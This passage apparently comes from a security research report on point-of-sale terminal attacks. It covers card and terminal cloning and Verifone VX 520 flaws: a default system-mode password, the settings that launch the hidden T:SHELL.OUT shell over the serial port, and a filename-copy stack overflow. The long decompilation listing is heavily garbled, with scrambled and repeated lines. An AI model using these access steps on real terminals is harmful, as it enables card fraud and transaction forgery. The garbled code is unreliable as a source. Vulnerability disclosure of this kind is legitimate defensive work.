Enables attackers to send and modify data transfers between the PoS terminal and its processing network. Attackers can forge and alter transactions in the transaction stream. Furthermore, they can attack the acquiring bank via server-side vulnerabilities.

### Cloning payment cards

Enables attackers to copy an individual's credit card information. Duplicate data is written to a new credit card, which an attacker can now run fraudulent transactions elsewhere with their clone. This includes Track2 data, CVV2/CVC2 codes and PIN codes.

### Cloning terminals

Attackers can make a functional clone of a PoS terminal and run fraudulent transactions through it, all they would need is unattended access to the terminal. They infect the terminal, and a copy is made of its configuration information. The terminal, itself, includes all of the necessary information an attacker needs to clone it. The information is then placed on an identical terminal, which is activated and ready to use. With full control of their clone, attackers have a few possibilities of carrying out payment attacks in their own benefit.

### Persistency of malware

Enables the attacker's malware to survive even after the device reboots. When malware is persistent, the implications are much more severe. When it's not, the attackers need to reinfect the device or the lifetime of the attack is extremely short.

### POS VULNERABILITIES

### Ingenico Telium 2 Series Vulnerabilities

More information about Ingenico Telium 2 vulnerabilities is available here.

### Verifone VX Series Vulnerabilities

The following vulnerabilities were discovered in Verifone's VX series of PoS terminals.

Attaining "System mode" access for Verifone VX 520

Attackers can easily gain "System mode" access to the PoS terminal. The credentials are within Verifone's VX 520 Reference Guide.

Default Password	The OS sets a default password of GID 15 passwords are empty by de which uses a script to set GID 2 to		
IPP Key Load	The user is required to enter the GII selected. This standard is imposed password in the current VTM session		
	VERIX EVO		

### Figure 1 depicts the default password as listed within the VX 520 Reference Guide.



The System mode allows the attacker to change system values. Changing the \*GO value is helpful as it's responsible for setting the application that loads after reboot.

## 14716)

Our research extracted and decrypted the PoS terminal's flash content. We discovered a T:SHELL. OUT application that's trusted and signed by Verifone. This application enables the attacker to access the terminal's file system. Without authentication, the attacker can gain control over the terminal's process management through the process that follows. On the terminal, the attacker can run T:SHELL.OUT and specify the terminal's serial port. They gain control by attaching a cable to the terminal's RS232 serial port and using an external device with a TTY Shell application.

Figure 2 depicts setting the \*GO value within the terminal's interface.



Undeclared shell.out mode access (CVE-2019-

To run the application, the attacker needs to change settings to: \*GO=T:SHELL.OUT \*ARG="/DEV/COM1"

vsh 0.01	
AUTH, BREAK, CI DEL, DIR, DIRO, MODID, MOVE, MU	D, CG, CHDIR, CHGRP, CHKFILL, CLOSE, COA, COPY, COPY, COPYAUTH, , DIRA, DL, DUMP, FILES, FILL, GETCV, GETCWD, KILL, MD, MEM, MKDIR, UX, MUX2, OPEN, PASSTHRU, PED, PEEK_EV, PRT, PS, RAD, RD, RE, REN, N, RUNW, SET, SETA, SOB, TYPE, UNZIP, UWIFI, WR, ZAPGROUP, ZG, ZT,
\$ MEM	
RAM Phys:	32768K
RAM Files:	352
In Use:	1083392
Avail:	115636224
Flash Phys:	131072K
Flash Files:	166
In Use:	2244608
Avail:	115636224
Defrag:	0



Figure 5 depicts the sch\_run\_not\_vsa() function. We threw a stack overflow while executing the Run() function. We traced it back to the filename copy process of the sch\_run\_not\_vsa() function (address 0x4002509).

<pre>72 char v71; // re 73 int v72; // re 74 bool v42; // re 75 int v72; // re 76 bool v42; // re 77 int v72; // re 77 int v72; // re 78 int v72; // re 79int2 v72; // re 79int2 v72; // re 70int2 v72; // re 70int2 v72; // re 70int2 v72; // re 70int2 v72; // re 71int2 v82; // re 72int2 v82; // re 73int2 v82; // re 74int2 v82; // re 75int2 v82; // re 76int2 v82; // re 77int2 v82; // re 78int2 v82; // re 79int2 v82; // re 79int2 v82; // re 70int2 v82; // re 79int2 v82; // re 70int2 v82; // re 70 _</pre>			
<pre>1 int v72; // r0 2 int v72; // r1 2 int v75; // r0 3 int v75; // r0 4 int v75; // r0 5 int v75; // r0 6</pre>	71	char y71: // r8	I-00000150 ; D/A/* : change type (data/ascii/array)
<pre>7 int v73; // ri 7 bool v74; // ri 8 bool v74; // ri 9 bool v74; ri 9 bool v74; ri 9 bool v74; ri 9 bool v74; ri 9</pre>			
<pre> 2 bool v74; // rd 2 booo</pre>			
<pre> 2</pre>			
<pre>7% unsigned int v76; // r1 7% int v77; // r1 7% int v77; // r2 7% int v75; // [spr4h] [bp-10h] 7% int v77; // [spr4h] [bp-r6h] 7% int v77; // [spr4h] [bp-r6h] 7% int v75; // [spr4h] [bp-r6h] 7% int</pre>			
<pre>7 int \$\frac{\frac{1}{7}}{7} int \$\frac{\frac{1}{7}}{7} int \$\frac{\frac{1}{7}}{7} int \$\frac{\frac{1}{7}}{7} int \$\frac{\frac{1}{7}}{7} int \$\frac{\frac{1}{7}}{7} int \$\frac{1}{7} int \$\f</pre>			
<pre> 2</pre>			
<pre></pre>			
<pre> 0</pre>			
<pre>struc_30 at; // ca char standtame[9]; // [sp+0h] [bp-150h] dunsignedint8 ticks[1; // [sp+0h] [bp-150h] dunsignedint8 ticks[1; // [sp+0h] [bp-150h] dunsignedint8 ticks[1; // [sp+10h] [bp-150h] dunsignedint8 ticks[1; // [sp+10h] [bp-160h] de char sts12]; // [sp+14h] [bp-150h] de char sts12]; // [sp+14h] [bp-150h] de char sts12]; // [sp+14h] [bp-150h] de char sts12]; // [sp+14h] [bp-16h] de char v08; // [sp+56h] [bp-76h] de char v08; // [sp+16h] [bp-66h] de char v08; // [sp+16h] [bp-66h] de char v08; // [sp+16h] [bp-26h] de char v08; // [sp+116h] [bp-26h] de char v08; // [sp+126h] [bp-26h] de char v182; // [sp+126h] [bp-26h] de char v182;</pre>			
<pre>2intl6 v2; // r1 2int8 scl2; // csp+bh[ [bp-150h] 4unsignedint8 ticks[]; // [sp+0h] [bp-110h] 5int8 scl2]; // [sp+13h] [bp-110h] 5int8 scl2]; // [sp+13h] [bp-110h] 6den *v68; // [sp+53h] [bp-76h] 9int *v68; // [sp+53h] [bp-76h] 9int *v78; // [sp+116h] [bp-36h] 9int *v78; // [sp+116h] [bp-36h] 9int *v78; // [sp+116h] [bp-36h] 10int *v78; // [sp+116h] [bp-36h] 10int *v78; // [sp+116h] [bp-36h] 10int *v78; // [sp+116h] [bp-26h] 11int *v78; // [sp+116h] [bp-26h] 12int *v78; // [sp+116h] [bp-26h] 13int *v78; // [sp+116h] [bp-26h] 14int *v78; // [sp+116h] [bp-26h] 15int *v78; // [sp+116h] [bp-26h] 16int *v78; // [sp+116h] [bp-26h] 17int *v78; // [sp+116h] [bp-26h] 18int *v78; // [sp+116h] [bp-26h] 19int *v78; // [sp+116h] [bp-26h] 10int *v78; // [sp+116h] [bp-26h] 10int *v78; // [sp+116h] [bp-26h] 11int *v8; // [sp+116h] [bp-26h] 12int *v8; // [sp+116h] [bp-26h] 13int *v8; // [sp+116h] [bp-26h] 14int (lot 4) 15int *v8; // [sp+116h] [bp-26h] 15int *v8; // [sp+116h] [bp-26h] 16int *v8; // [sp+116h] [bp-26h] 17int *v8; // [sp+116h] [bp-26h] 18int *v8; // [sp+116h] [bp-26h] 19int *v8; // [sp+116h] [bp-26h] 10int *v8; // [sp+116h] [</pre>			
<pre>strug 3 char *shandtame(9] // [sp+0h] [bp-140h] 4 unsigned _int&amp; ticks [4]; // [sp+24h] [bp-144h] 4 unsigned _int&amp; ticks [4]; // [sp+24h] [bp-144h] 4 unsigned _int&amp; ticks [4]; // [sp+24h] [bp-14h] 4 char dst[32]; // [sp+24h] [bp-76h] 4 char dst[32]; // [sp+24h] [bp-76h] 4 char *dst[ // [sp+14h] [bp-76h] 4</pre>			
<pre>sq unsigned _ints ticks(4); // [sp:Ch] [bp-144h] ss int v85; // [sp:Hoh] [bp-13Ch] sint v85; // [sp:Hoh] [bp-13Ch] sc _ints w85; // [sp:Hoh] [bp-13Ch] sc _int v85; // [sp:Hoh] [bp-74h] ss int v92; // [sp:Hoh] [bp-6Ch] sc _int v93; // [sp:Hoh] [bp-7Ah] sc _int v93; // [sp:H</pre>			
<pre>str vs5; // [sp+14h] [bp-1Ch] char *us2; // [sp+12h] [bp-2Ch] char *us2; // [sp+12h] [bp-2Ch] char *us2; // [sp+12h] [bp-2Ch] char *us2; // [sp+12h] [bp-2Ch] char *us2; // [sp+12h] [bp-3Ch] char *us2; // [sp+12h] [bp-3Ch] char *us2; // [sp+12h] [bp-3Ch] char *us2; // [sp+12h] [bp-3Ch] char *us2; // [sp+12h] [bp-2Ch] char *us2; // [sp+12h] [bp-</pre>			
<pre>s6 char dst[22]; // [spitch] [bp:13Ch] 87int8 mg[22]; // [spitch] [bp:74h] 80 proc_meta *v88; // [spitch] [bp:74h] 91 Lit proc_meta_start; // [spitch] [bp:74h] 92 Lint v92; // [spitch] [bp:74h] 93 Lint v93; // [spitch] [bp:74h] 94 Lint v94; // [spitch] [bp:74h] 95 char *v95; // [spitch] [bp:74h] 96 Lint v94; // [spitch] [bp:74h] 97 strue_30 ai; // [spitch] [bp:74h] 98 Lint v95; // [spitch] [bp:74h] 99 Lint v95; // [spitch] [bp:74h] 90 Lint v95; // [spitch] [bp:74h] 90 Lint v95; // [spitch] [bp:74h] 96 Lint v95; // [spitch] [bp:74h] 97 strue_30 ai; // [spitch] [bp:74h] 98 Lint *v95; // [spitch] [bp:74h] 99 Lint v95; // [spitch] [bp:74h] 90 Lint v95; // [spitch] [bp:74h] 90 Lint v95; // [spitch] [bp:74h] 91 Lint v95; // [spitch] [bp:74h] 92 Lint v95; // [spitch] [bp:74h] 93 Lint v95; // [spitch] [bp:74h] 94 Lint v95; // [spitch] [bp:74h] 95 Lint v95; // [spitch] [bp:74h] 96 Lint *v95; // [spitch] [bp:74h] 96 Lint *v95; // [spitch] [bp:74h] 97 strue_30 ai; // [spitch] [bp:74h] 96 Lint *v95; // [spitch] [bp:74h] 97 strue_30 ai; // [spitch] [bp:74h] 98 Lint *v95; // [spitch] [bp:74h] 99 Lint *v95; // [spitch] [bp:74h] 90 Lint *v95; // [spitch] [bp:74h] 91 Lint *v95; // [spitch] [bp:74h] 92 Lint *v95; // [spitch] [bp:74h] 93 Lint excee; // [spitch] [bp:74h] 94 Lint *v95; // [spitch] [bp:74h] 95 Lint excee; // [spitch] [bp:74h] 95 Lint excees; // [spitch] [bp:74h] 95 Lint excees; // [spitch] [bp:74h] 96 Lint *v95; // [spitch] [bp:74h] 97 strue_30 Lint excees; // [spitch] [bp:74h] 97 strue_30 Lint excees; // [spitch] [bp:74h] 98 Lint excees; // [spitch] [bp:74h] 99 Lint *v95; // [spitch] [bp:74h] 90 Lint v95; *v3fname; 91 Lint v95; *v3fname; 91 Lint v95; *v3fname; 91 Lint excees(v) [lint excees] 92 Lint excees[v] [lint excees] 93 Lint v35; // [spitch] [lint excees] 94 Lint excees[v] [lint excees] 95 Lint excees] 95 Lint excees] 96 Lint exce</pre>			
<pre>87int8 pc[32]; // [sp+34h] [bp-11Ch] 88 char "v88; // [sp+35h] [bp-76h] 90 L18_MEADER "v99[32]; // [sp+35h] [bp-76h] 91 Lint proc_meta_"v89; // [sp+35h] [bp-76h] 92 Lint v92; // [sp+16h] [bp-76h] 93 Lint v93; // [sp+16h] [bp-76h] 94 Lint v94; // [sp+16h] [bp-66h] 95 char "v95; // [sp+16h] [bp-66h] 96 Lint v95; // [sp+16h] [bp-66h] 97 struc_30 al; // [sp+16h] [bp-36h] 96 Lint (_fsatcall "pfuncs)(lint, const unsignedint8 ", int); ] 96 Lint (_fsatcall "pfuncs)(lint, const unsignedint8 ", int); ] 96 Lint exceece; // [sp+126h] [bp-26h] 97 struc_30 al; // [sp+126h] [bp-26h] 98 Lint (_fsatcall "pfuncs)(lint, const unsignedint8 ", int); ] 99 Lint exceece = flags; 90 v3 = endswith(fname, " /"); 91 Lint v88 = v3; 91 Lint v88 = v3 + 1; 91 Lint v88 = v3 +</pre>			
<pre>that "v88; // [sp+5dh] [bp-fch] proc_meta *v89; // [sp+5ch] [bp-fdh] int proc_meta_start; // [sp+5ch] [bp-fdh] int v93; // [sp+5dh] [bp-7dh] int v93; // [sp+5dh] [bp-6dh] int v93; // [sp+5dh] [bp-6dh] int v93; // [sp+18h] [bp-6dh] int v95; // [sp+18h] [bp-2dh] int c_mstcall **pfuncs)(int, const unsignedint8 *, int); ] ind const char *_fname; // [sp+12dh] [bp-2dh] int eceece; // [sp+12dh] [bp-2dh] int eceece if lags; ind eceece if lags; ind v92 = 1; ind v93 = endsidth(fname, * /*); ind v93 = v3 = 0; ind v93 = ndsidth(fname, * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname, * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname, * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname, * /*); ind v4 = v3 = 0; ind v102 = (char *)parms; ind v43 = v3 = 0; ind v93 = ndsidth(fname; * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname; * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname; * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname; * /*); ind v4 = v3 = 0; ind v93 = ndsidth(fname; * /*); ind v4 = v3 = 1; ind v4 = (char *)parms; ind v4 = (char *)parms; ind v3 = v3 + 1; ind v3 =</pre>			
<pre>so proc_meta *v89; // [sp+58h] [bp-78h] 90 L1B #LADDR *v96[32]; // [sp+58h] [bp-74h] 91 int proc_meta_start; // [sp+68h] [bp-74h] 92 int v93; // [sp+68h] [bp-6h] 93 int v93; // [sp+68h] [bp-6h] 94 int v94; // [sp+68h] [bp-6h] 95 char *v95; // [sp+68h] [bp-6h] 96 int v96; // [sp+18h] [bp-6h] 97 struc_30 al; // [sp+18h] [bp-58h] 99 int *v99; // [sp+116h] [bp-38h] 99 int *v99; // [sp+116h] [bp-38h] 99 int *v99; // [sp+116h] [bp-32h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 101 int ceceec; // [sp+128h] [bp-28h] 102 char *u102; // [sp+128h] [bp-28h] 103 int ceceece; // [sp+128h] [bp-28h] 104 ff ceceece = flags; 105 v3 = endswith(fname, */*); 106 v3 = endswith(fname, */*); 107 v3 = endswith(fname, */*); 108 v3 = (char *)_fname; 109 v3 = endswith(fname, */*); 109 v3 = endswith(fname, */*); 101 v4 = v3 = e; 101 v88 = v3 + 1; 101 v88 = v3 + 1</pre>			
<pre>90 L10_HEADER *v90[32]; // [sp+5ch] [bp-74h] 91 int proc_meta_start; // [sp+0Ch] [bp-74h] 92 int v92; // [sp+t8h] [bp-76h] 93 int v93; // [sp+t8h] [bp-66h] 94 int v95; // [sp+t8h] [bp-66h] 95 char *v95; // [sp+t8h] [bp-5ch] 96 int v95; // [sp+t8h] [bp-5ch] 97 struc_30 a; // [sp+t8h] [bp-5ch] 98 int *v98; // [sp+11ch] [bp-34h] 99 int *v99; // [sp+11ch] [bp-34h] 100 int (_fastcall **pfuncs)(int, const unsignedint8 *, int); ] 101 int ecceece; // [sp+12ch] [bp-24h] 102 char *v102; // [sp+13ch] [bp-24h] 103 int ecceece; // [sp+12ch] [bp-24h] 104 105fname = fname; 106 v102 = (char *)parms; 107 ecceece = flag;; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 100 v3 = endswith(fname, * /*); 101 v4 = v3 = 0; 101 v4 = v3 = 0; 102 if ( !v3 ) 103 int y = v3 = 0; 104 v4 = v3 = 0; 105fname; 106 v102 = (char *)parms; 107 ecceece = flag;; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 100 v4 = v3 = 0; 101 v4 = v3 = 0; 101 v4 = v3 = -0; 101 v8 = v3; 102 if ( !v3 ) 103 int y = (char *)_fname; 104 v4 = v3 = -0; 105 l16 v5 = v3fname; 105 [f ( !v3 ) 105 l17 v88 = v3 + 1; 106 v5 = v3fname; 107 v88 = v3 + 1; 107 v88 = v3 + 1; 108 v92 = 1; 109 v3 = (char *)_fname; 109 v3 = (char *)_fn</pre>	88		
<pre>91 int proc meta start; // [spe0ch] [bp-74h] 92 int v92; // [speEdh] [bp-70h] 93 int v93; // [speEdh] [bp-6ch] 94 int v94; // [speEdh] [bp-6ch] 95 char *v95; // [speEdh] [bp-6ch] 96 int v96; // [speFdh] [bp-6ch] 97 struc_30 al; // [speFdh] [bp-5ch] 98 int *v98; // [speFdh] [bp-5ch] 99 int *v99; // [speIlch] [bp-34h] 100 int (_fastcall *pFuncs)(int, const unsignedint8 *, int); ] 101 const char *iname; // [spe12ch] [bp-2ch] 102 char *v102; // [spe12ch] [bp-2dh] 103 int exece; // [spe12ch] [bp-2dh] 104 105fname = fname; 106 v102 = (char *)parms; 107 execee = flag; 108 v22 = 1; 109 v3 = endswith(fname, * /*); 110 v4 = v3 == 0; 111 v88 = v3; 112 if ( [v3 ] 113 v3 = (char *)_fname; 114 if ( [v4 ] 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; SCHEDUR_meexcpy(_, (char *)_fname, v3fname); 118 SCHEDUR_meexcpy(_, (char *)_fname, v3fname);</pre>			-
<pre>92 int 'v92; // [sp+Ech] [bp-6ch] 93 int v95; // [sp+Ech] [bp-6ch] 94 int v95; // [sp+Ech] [bp-6ch] 95 char *v95; // [sp+Ech] [bp-6ch] 96 int v95; // [sp+Ech] [bp-6ch] 97 struc_30 a1; // [sp+Ech] [bp-3ch] 98 int *v95; // [sp+112h] [bp-3ch] 99 int *v95; // [sp+112h] [bp-3ch] 99 int *v95; // [sp+12ch] [bp-2ch] 90000088 var_58 DCD ? 90000088 var_58 DCD ? 90000088 var_58 DCD ? 90000088 var_38 DCD ? 900000088 var_38 DCD ? 900000028 var_38 DCD ? 90000028 var_38 DCD ? 90000029 var_38 DCD ? 90000020 j end of stack variables 90000020 j end of stack variables 90000028 var_4 variables 900000028 var_4 variables 90000028 var_4 variables 900</pre>	90	LI8_HEADER "v90[32]; // [sp+SCh] [bp-F4h]	
<pre>93 int v93; // [spt84h] [bp-6Ch] 94 int v94; // [spt86h] [bp-6dh] 95 char *v95; // [spt16h] [bp-6dh] 96 int *v96; // [spt16h] [bp-6dh] 97 struc_30 al; // [spt16h] [bp-5Ch] 98 int *v98; // [spt116h] [bp-3dh] 99 int *v99; // [spt116h] [bp-3dh] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 101 const char *_fname; // [spt124h] [bp-2Ch] 102 char *v102; 7/ [spt128h] [bp-28h] 103 int eeceece flags; 104 eeceece flags; 105 fname = fname; 106 v102 = (char *)parms; 107 eeceece = flags; 108 v92 = 1; 109 v4 = v3 = 0; 111 v88 = v3 : 112 if (!v4) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULF.memcpy(m, (char *)_fname, v3fname); 118 SCHEDULF.memcpy(m, (char *)_fname, v3fname);</pre>	91	<pre>int proc_meta_start; // [sp+OCh] [bp-74h]</pre>	
<pre>94 int v94; // [sp+Eh] [bp-6h] 95 char *v95; // [sp+Eh] [bp-6h] 96 int v96; // [sp+Eh] [bp-6h] 97 struc_30 al; // [sp+Eh] [bp-5h] 98 int *v96; // [sp+118h] [bp-3h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 101 const char *_fname; // [sp+12h] [bp-2ch] 102 char *v102; // [sp+12h] [bp-2ch] 103 int eccece; // [sp+12h] [bp-2h] 104 const char *_fname; // [sp+12h] [bp-2h] 105fname = fname; 106 v102 = (char *)parms; 107 eccece = flags; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 110 v4 = v3 = 0; 111 v48 = v3; 112 if (1v4) 113 v3 = (char *)_fname; 114 if (1v4) 115 { 116 v5 = v3 =fname; 117 v88 = v3 + 1; 118 SCHEDULE_memcpy(_m, (char *)_fname, v3fname); 118 SCHEDULE_memcpy(_m, (char *)_fname, v3fname);</pre>	92	int v92; // [sp+E0h] [bp-70h]	-0000006C var_6C DCD ?
<pre>95 char *v55; // [sp+Ech] [bp-64h] 96 int v96; // [sp+Ech] [bp-64h] 97 struc_30 at; // [sp+Ech] [bp-64h] 98 int *v98; // [sp+Ech] [bp-5Ch] 99 int *v99; // [sp+118h] [bp-38h] 99 int *v99; // [sp+118h] [bp-38h] 99 int (_fastcall **pfwncs)(int, const unsignedint8 *, int);] 100 int (_fastcall **pfwncs)(int, const unsignedint8 *, int);] 101 const char *_fname; // [sp+124h] [bp-2ch] 102 char *v102; // [sp+122h] [bp-24h] 103 int ecceece; // [sp+12Ch] [bp-24h] 104 105fname = fname; 106 v102 = (char *)parms; 107 ecceece = flags; 108 v2 = 1; 109 v3 = ed; 110 v3 = v3 = e; 111 v88 = v3; 112 if (1v3) 113 v3 = (char *)_fname; 114 if (1v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDURE seccey(b, (char *)_fname, v3fname); 118 SCHEDURE seccey(b, (char *)_fname, v3fname);</pre>	93	int v93; // [sp+E4h] [bp-6Ch]	-00000068 var_68 DCD ?
<pre>96 int v96; // [sp+F4h] [bp-5ch] 97 struc_30 a1; // [sp+F4h] [bp-5ch] 98 int *v99; // [sp+11ch] [bp-3h] 99 int *v99; // [sp+11ch] [bp-3h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int);] 101 const char * [name; // [sp+12dh] [bp-2ch] 102 char *v102; // [sp+12ch] [bp-2dh] 103 int eccece; // [sp+12ch] [bp-2dh] 104 106 v102 = (char *)parms; 107 eccece = flags; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 100 v4 = v3 = 0; 101 v4 = v3 = 0; 102 v3 = (char *]_fname; 103 int v3 = (char *]_fname; 104 if (!v4) 105 { 105 v5 = v3fname; 107 v88 = v3 + 1; 107 v88 = v3 + 1; 108 v5 = v3fname; 109 v3 = char *]_fname, v3fname); 100 v8 = v3 + 1; 100 v8 = v3 + 1; 1</pre>	94	int v94; // [sp+E8h] [bp-68h]	-00000064 var_64 DCD ?
<pre>97 struc_30 a1; // [sp+F4h] [bp-Sch] 98 int *v98; // [sp+118h] [bp-38h] 99 int *v99; // [sp+11ch] [bp-38h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int);] 101 const char *_fname; // [sp+124h] [bp-2ch] 102 char *v102; // [sp+126h] [bp-24h] 103 int eccece; // [sp+12ch] [bp-24h] 104 eccece = fname; 106 v102 = (char *)parms; 107 eccece = fnags; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 109 v4 = v3 = e0; 101 v48 = v3; 111 v88 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v3) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname); 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname);</pre>	95	char *v95; // [sp+ECh] [bp-64h]	-00000060 var_60 DCD ?
<pre>97 struc_30 a1; // [sp+F4h] [bp-Sch] 98 int *v98; // [sp+118h] [bp-38h] 99 int *v99; // [sp+118h] [bp-34h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int);] 101 const char *_fname; // [sp+124h] [bp-2ch] 102 char *v102; // [sp+128h] [bp-28h] 103 int eccees; // [sp+126h] [bp-24h] 104 105fname = fname; 106 v102 = (char *)parms; 107 eccees = flags; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 109 v4 = v3 = 0; 101 v68 = v3; 111 v68 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v3) 115 { 116 v5 = v3fname; 117 v68 = v3 + 1; 117 v68 = v3 + 1; 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname); 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname);</pre>	96	int v96; // [sp+F0h] [bp-60h]	-0000005C a1 struc_30 ?
<pre>99 int "v99; // [sp+11Ch] [bp-34h] 100 int (_fastcall "*pFuncs)(int, const unsignedint8 ", int); ] 101 const char "fname; // [sp+124h] [bp-2Ch] 102 char "v102; // [sp+12Ch] [bp-24h] 103 int eccece; // [sp+12Ch] [bp-24h] 104 104 105fname = fname; 106 v102 = (char ")parms; 107 eccece = flags; 108 v92 = 1; 109 v3 = endswith(fname, " /"); 110 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char ")_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memepy(_, (char ")_fname, v3fname);</pre>	97		-00000038 var_38 DCD ?
<pre>99 int *v99; // [sp+11Ch] [bp-34h] 100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 101 const char *ifname; // [sp+124h] [bp-2ch] 102 char *v102; // [sp+126h] [bp-24h] 103 int eccece; // [sp+12Ch] [bp-24h] 104 105fname = fname; 106 v102 = (char *)parms; 107 eccece = flags; 108 v92 = 1; 109 v3 = endswith(fname, " /"); 110 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(,, (char *)_fname, v3fname);</pre>	98	int *v98; // [sp+118h] [bp-38h]	-80888834 var 34 DCD ?
<pre>100 int (_fastcall **pFuncs)(int, const unsignedint8 *, int); ] 101 const char *_fname; // [spt124h] [bp-2Ch] 102 char *v102; // [spt126h] [bp-28h] 103 int ecceece; // [spt12Ch] [bp-24h] 104 105fname = fname; 106 v102 = (char *)parms; 107 ecceece = flags; 108 v92 = 1; 109 v3 = endswith(fname, * /*); 100 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memp(v_, (char *)_fname, v3fname); 118</pre>			-00000030 pFuncs DCD ?
<pre>101 const char * fname; // [sp+124h] [bp-2Ch] 102 char *v102; // [sp+128h] [bp-28h] 103 int eecece; // [sp+12Ch] [bp-24h] 104 105 _fname = fname; 106 v102 = (char *)parms; 107 eecece = flags; 108 v92 = 1; 109 v3 = endswith(fname, " /"); 109 v3 = endswith(fname, " /"); 110 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); 118 SCHEDULR_memcpy(, (char *)_fname, v3fname);</pre>	100		-0000002C fname DCD ? ; offset
<pre>102 char *v102; // [sp+128h] [bp-28h] 103 int eccece; // [sp+12Ch] [bp-24h] 104 105 _fname = fname; 106 v102 = (char *)parms; 107 eccece = flags; 108 v92 = 1; 109 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname); 118 SCHEDULR_memcpy(_, (char *)_fname, v3fname); 110 v3 = ndsvite(_, (char *)_fname, v3fname); 111 v88 = v3 + 1; 112 if (!v4)</pre>	101		
<pre>int eccecc; // [sp+12Ch] [bp-24h]</pre>	102		
<pre>184 184 185fname = fname; 186 v32 = (char *)parms; 187 eccece = flags; 188 v92 = 1; 189 v3 = endswith(fname, * /*); 189 v3 = endswith(fname, * /*); 180 v4 = v3 == 0; 181 v3 = (char *)_fname; 182 if (!v3) 183 v3 = (char *)_fname; 184 if (!v4) 185 { 186 v3 = v3fname; 187 v88 = v3 + 1; 188 SCHEDULR_memcpy(, (char *)_fname, v3fname); 189 v3 = v3 + 1; 180 v3 + 1; 180 v3 = v3 + 1; 180 v3 + 1; 180 v3 + 1;</pre>			
<pre> • 105fname = fname; • 106 v102 = (char *)parms; • eceece = flags; • 107 eceecee = flags; • 108 v92 = 1; • 109 v3 = endswith(fname, " /"); • 110 v4 = v3 == 0; • 111 v88 = v3; • 112 if (!v3) • 113 v3 = (char *)_fname; • 114 if (!v4) • 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char *)_fname, v3fname); • 118</pre>		and a second for first only for a second second	-00000020 ; end of stack variables
<pre> • 106 • v102 = (char *)parms; • 107 • ececece = flags; • 108 • v92 = 1; • 109 • v3 = endswith(fname, " /"); • 109 • v3 = endswith(fname, " /"); • 110 • v4 = v3 == 0; • 111 • v88 = v3; • 112 • if (!v3) • 113 • v3 = (char *)_fname; • 114 • if (!v4) • 115 • { • 116 • v5 = v3fname; • 117 • v88 = v3 + 1; • 118 • SCHEDULR_memcpy(,, (char *)_fname, v3fname); • 118 • SCHEDULR_memcpy(,, (char *)_fname, v3fname); • 119 • 110 • v102 = (char *)_fname, v3fname; • 111 • v11 • v11</pre>		foame = foame:	
<pre> • 107 eccece = flags; • 108 v92 = 1; • 109 v3 = endswith(fname, " /"); • 110 v4 = v3 == 0; • 111 v88 = v3; • 112 if (!v3) • 113 v3 = (char ")_fname; • 114 if (!v4 ) • 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(, (char ")_fname, v3fname); • 118</pre>			
<pre>188 v92 = 1; 109 v3 = endswith(fname, " /"); 110 v4 = v3 == 0; 111 v88 = v3; 112 if (!v3) 113 v3 = (char ")_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v88 = v3 + 1; 118 SCHEDULR_memcpy(, (char ")_fname, v3fname);</pre>			
<pre> • 109 v3 = endswith(fname, " /"); • 110 v4 = v3 == 0; • 111 v88 = v3; • 112 if (!v3 ) • 113 v3 = (char ")_fname; • 114 if (!v4 ) 115 { • 116 v5 = v3fname; • 117 v88 = v3 + 1; • 118 SCHEDULR_memcpy(", (char ")_fname, v3fname); • 118</pre>			
<pre>110 v4 = v3 == 0; 111 v8s = v3; 112 if (!v3) 113 v3 = (char *)_fname; 114 if (!v4) 115 { 116 v5 = v3fname; 117 v8s = v3 + 1; 118 SCHEDULR_memcpy(, (char *)_fname, v3fname);</pre>			
